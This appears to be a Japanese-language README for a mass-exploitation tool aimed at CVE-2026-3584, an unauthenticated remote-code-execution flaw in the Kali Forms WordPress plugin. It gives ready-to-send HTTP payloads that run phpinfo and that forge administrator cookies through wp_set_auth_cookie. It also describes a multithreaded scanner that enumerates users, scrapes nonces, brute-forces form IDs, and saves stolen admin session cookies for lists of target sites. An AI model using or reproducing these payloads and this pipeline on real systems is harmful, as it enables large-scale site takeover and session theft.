
CVE-2026-3584
🔥 脆弱性の概要
WordPress プラグイン Kali Forms バージョン <= 2.4.9 には、未認証のリモートコード実行 (RCE) という深刻な脆弱性が存在します。この欠陥により、未認証の攻撃者 がサーバー上で任意の PHP コードを実行し、完全な管理者権限 を取得できます。これは、認証確認なしに公開されている AJAX エンドポイント kaliforms_form_process を介して行われます。
脆弱性は form_process 関数にあり、ユーザー制御のパラメータ(thisPermalink や entryCounter を含む)を受け入れ、任意の PHP コールバックを実行することで、以下を引き起こします:
phpinfo()、system()、eval() などを使用wp_set_auth_cookie() による管理セッションの取得脆弱性は Kali Forms プラグインの form_process 関数に現れ、AJAX リクエストを処理します。脆弱なコードは以下のように公開されています:
// 認証なしでアクセス可能な AJAX エンドポイント
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
エクスプロイトの流れ:
保護されていないエンドポイント: エンドポイント /wp-admin/admin-ajax.php?action=kaliforms_form_process は、wp_ajax_nopriv_ フックにより未認証ユーザーがアクセス可能です。
ユーザー制御可能なパラメータ:
data[thisPermalink] - 任意の PHP 関数名を含むことができるdata[entryCounter] - 任意の PHP 関数名を含むことができるdata[formId] - 処理するフォームの IDフィルタリングされていないコールバックの実行: 脆弱なコードは検証なしで PHP コールバックを実行します:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // チェックなし!
エクスプロイトチェーン:
攻撃者 → POST リクエスト → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP コード実行 → phpinfo() が実行される
↓
entryCounter=wp_set_auth_cookie → 管理者クッキーが生成される
↓
完全な管理者アクセス
脆弱なリクエストの例:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
結果: サーバーは phpinfo() を実行し、PHP 設定の完全な情報を返します。
権限昇格のために:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
結果: WordPress は wp_set_auth_cookie(user_id) を実行します。user_id は多くの場合 formId に対応し、有効な管理者セッションクッキーを生成します。
mass_scanner.py は、CVE-2026-3584 脆弱性を完全に悪用するための 4 フェーズからなる自動化パイプラインを実装しています:
┌─────────────────────────────────────────────────────────────────────────┐
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ フェーズ 1: REST API の偵察 │
│ ├─ ユーザーの列挙: /wp-json/wp/v2/users │
│ └─ 投稿の列挙: /wp-json/wp/v2/posts │
│ → 権限昇格用に user_id と post_id を特定 │
│ │
│ フェーズ 2: フォームの発見 │
│ ├─ サイトのクロール (depth=2) │
│ ├─ パターン検索: 'KaliFormsObject', 'kaliforms' │
│ ├─ JavaScript から nonce を抽出 │
│ └─ HTML から formId を抽出 │
│ → すべての脆弱な Kali Forms フォームを発見 │
│ │
│ フェーズ 3: RCE テスト │
│ ├─ 送信: data[thisPermalink]=phpinfo │
│ ├─ 確認: レスポンス内の 'PHP Version' │
│ └─ 保存: result/target_phpinfo.html │
│ → リモートコード実行を確認 │
│ │
│ フェーズ 4: 権限昇格 │
│ ├─ 送信: data[entryCounter]=wp_set_auth_cookie │
│ ├─ 抽出: wordpress_logged_in + wordpress_sec cookies │
│ ├─ 確認: /wp-admin/ へのアクセスがリダイレクトなし │
│ └─ 保存: result_cookie/target.txt │
│ → 完全な管理者アクセスを取得 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
1. URL の自動正規化
def normalize_url(self, target):
# 自動的に http:// または https:// を追加
# まず HTTPS を試し、フォールバックで HTTP
# カスタムポート(例 :8080)に対応
2. REST API の列挙
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# 利用可能なすべての user_id を抽出
# formId → user_id のマッピングに使用
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# 利用可能なすべての post_id を抽出
# user_id/post_id の重複を特定
3. フォームの発見 (インテリジェントクローリング)
def discover_pages(self, target, max_depth=2):
# サイトの再帰的クロール
# JavaScript パターン 'KaliFormsObject' を検索
# 不要な URL (js, css, 画像) をフィルタリング
# 内部リンクのみをフォロー
# Kali Forms を含むページのリストを返す
4. フォームデータの抽出
def extract_form_data(self, page_url):
# JavaScript から nonce を抽出:
# KaliFormsObject = { ajax_nonce: "abc123" }
# HTML から formId を抽出:
# data-id="1" または [kaliform id="1"]
# nonce が見つかったが formId がない場合:
# ID 1-10 をブルートフォース
5. RCE テスト
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# ペイロード: data[thisPermalink]=phpinfo
# 確認: len(response) > 10000 かつ 'PHP Version' が存在
# 完全な HTML を分析用に保存
6. 権限昇格テスト
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# インテリジェント戦略:
# 1. user_id/post_id の重複を検索
# 2. 成功率の高い ID からテスト
# 3. 一般的な ID にフォールバック: 1,2,3,4,5
# 各候補 formId に対して:
# POST data[entryCounter]=wp_set_auth_cookie
# クッキーを抽出: wordpress_logged_in + wordpress_sec
# 確認: GET /wp-admin/ → リダイレクトなし
# チェック: レスポンス内の 'dashboard'
7. マルチスレッド
# 並列処理のための ThreadPoolExecutor
# 結果書き込みのためのスレッドセーフロック
# リアルタイム保存 (append モード)
# 同期によるグローバル統計
8. 自動バックアップシステム
def backup_previous_results(self):
# 各スキャンの前:
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# 過去のデータをすべて保存
pip3 install requests beautifulsoup4
targets.txt ファイルを作成し、1行に1つのターゲット(http/https は任意):
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# デフォルト設定でのスキャン (20スレッド)
python3 mass_scanner.py targets.txt
# カスタムスレッド数でのスキャン
python3 mass_scanner.py -t 10 targets.txt
# 最大スレッド数でのスキャン
python3 mass_scanner.py --threads 50 targets.txt
======================================================================
スキャナー - CVE-2026-3584 完全パイプライン
======================================================================
ターゲット数: 100
スレッド数: 20
パイプライン: 偵察 → フォーム発見 → RCE → 権限昇格
======================================================================
[*] 前回の結果を保存しました: result_phpinfo.txt.20260325_120000.backup